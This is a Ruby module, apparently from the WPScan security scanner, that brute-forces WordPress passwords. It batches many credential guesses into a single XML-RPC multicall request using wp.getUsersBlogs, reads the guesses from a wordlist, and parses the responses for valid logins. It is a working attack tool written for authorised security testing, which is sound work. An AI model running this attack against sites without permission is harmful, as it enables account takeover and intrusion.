Path: blob/master/app/finders/passwords/xml_rpc_multicall.rb
485 views
# frozen_string_literal: true12module WPScan3module Finders4module Passwords5# Password attack against the XMLRPC interface with the multicall method6# WP < 4.4 is vulnerable to such attack7class XMLRPCMulticall < CMSScanner::Finders::Finder8# @param [ Array<User> ] users9# @param [ Array<String> ] passwords10#11# @return [ Typhoeus::Response ]12def do_multi_call(users, passwords)13methods = []1415users.each do |user|16passwords.each do |password|17methods << ['wp.getUsersBlogs', user.username, password]18end19end2021target.multi_call(methods, cache_ttl: 0).run22end2324# @param [ IO ] file25# @param [ Integer ] passwords_size26# @return [ Array<String> ] The passwords from the last checked position in the file until there are27# passwords_size passwords retrieved28def passwords_from_wordlist(file, passwords_size)29pwds = []30added_pwds = 03132return pwds if passwords_size.zero?3334# Make sure that the main code does not call #sysseek or #count etc35# otherwise the file descriptor will be set to somwehere else36file.each_line(chomp: true) do |line|37pwds << line38added_pwds += 13940break if added_pwds == passwords_size41end4243pwds44end4546# @param [ Array<Model::User> ] users47# @param [ String ] wordlist_path48# @param [ Hash ] opts49# @option opts [ Boolean ] :show_progression50# @option opts [ Integer ] :multicall_max_passwords51#52# @yield [ Model::User ] When a valid combination is found53#54# TODO: Make rubocop happy about metrics etc55#56# rubocop:disable all57def attack(users, wordlist_path, opts = {})58checked_passwords = 059wordlist = File.open(wordlist_path)60wordlist_size = wordlist.count61max_passwords = opts[:multicall_max_passwords]62current_passwords_size = passwords_size(max_passwords, users.size)6364create_progress_bar(total: (wordlist_size / current_passwords_size.round(1)).ceil,65show_progression: opts[:show_progression])6667wordlist.sysseek(0) # reset the descriptor to the beginning of the file as it changed with #count6869loop do70current_users = users.select { |user| user.password.nil? }71current_passwords = passwords_from_wordlist(wordlist, current_passwords_size)72checked_passwords += current_passwords_size7374break if current_users.empty? || current_passwords.nil? || current_passwords.empty?7576res = do_multi_call(current_users, current_passwords)7778progress_bar.increment7980check_and_output_errors(res)8182# Avoid to parse the response and iterate over all the structs in the document83# if there isn't any tag matching a valid combination84next unless res.body =~ /isAdmin/ # maybe a better one ?8586Nokogiri::XML(res.body).xpath('//struct').each_with_index do |struct, index|87next if struct.text =~ /faultCode/8889user = current_users[index / current_passwords.size]90user.password = current_passwords[index % current_passwords.size]9192yield user9394# Updates the current_passwords_size and progress_bar#total95# given that less requests will be done due to a valid combination found.96current_passwords_size = passwords_size(max_passwords, current_users.size - 1)9798if current_passwords_size == 099progress_bar.log('All Found') # remove ?100progress_bar.stop101break102end103104begin105progress_bar.total = progress_bar.progress + ((wordlist_size - checked_passwords) / current_passwords_size.round(1)).ceil106rescue ProgressBar::InvalidProgressError107end108end109end110# Maybe a progress_bar.stop ?111end112# rubocop:enable all113114def passwords_size(max_passwords, users_size)115return 1 if max_passwords < users_size116return 0 if users_size.zero?117118max_passwords / users_size119end120121# @param [ Typhoeus::Response ] res122def check_and_output_errors(res)123progress_bar.log("Incorrect response: #{res.code} / #{res.return_message}") unless res.code == 200124125if /parse error. not well formed/i.match?(res.body)126progress_bar.log('Parsing error, might be caused by a too high --max-passwords value (such as >= 2k)')127end128129return unless /requested method [^ ]+ does not exist/i.match?(res.body)130131progress_bar.log('The requested method is not supported')132end133end134end135end136end137138139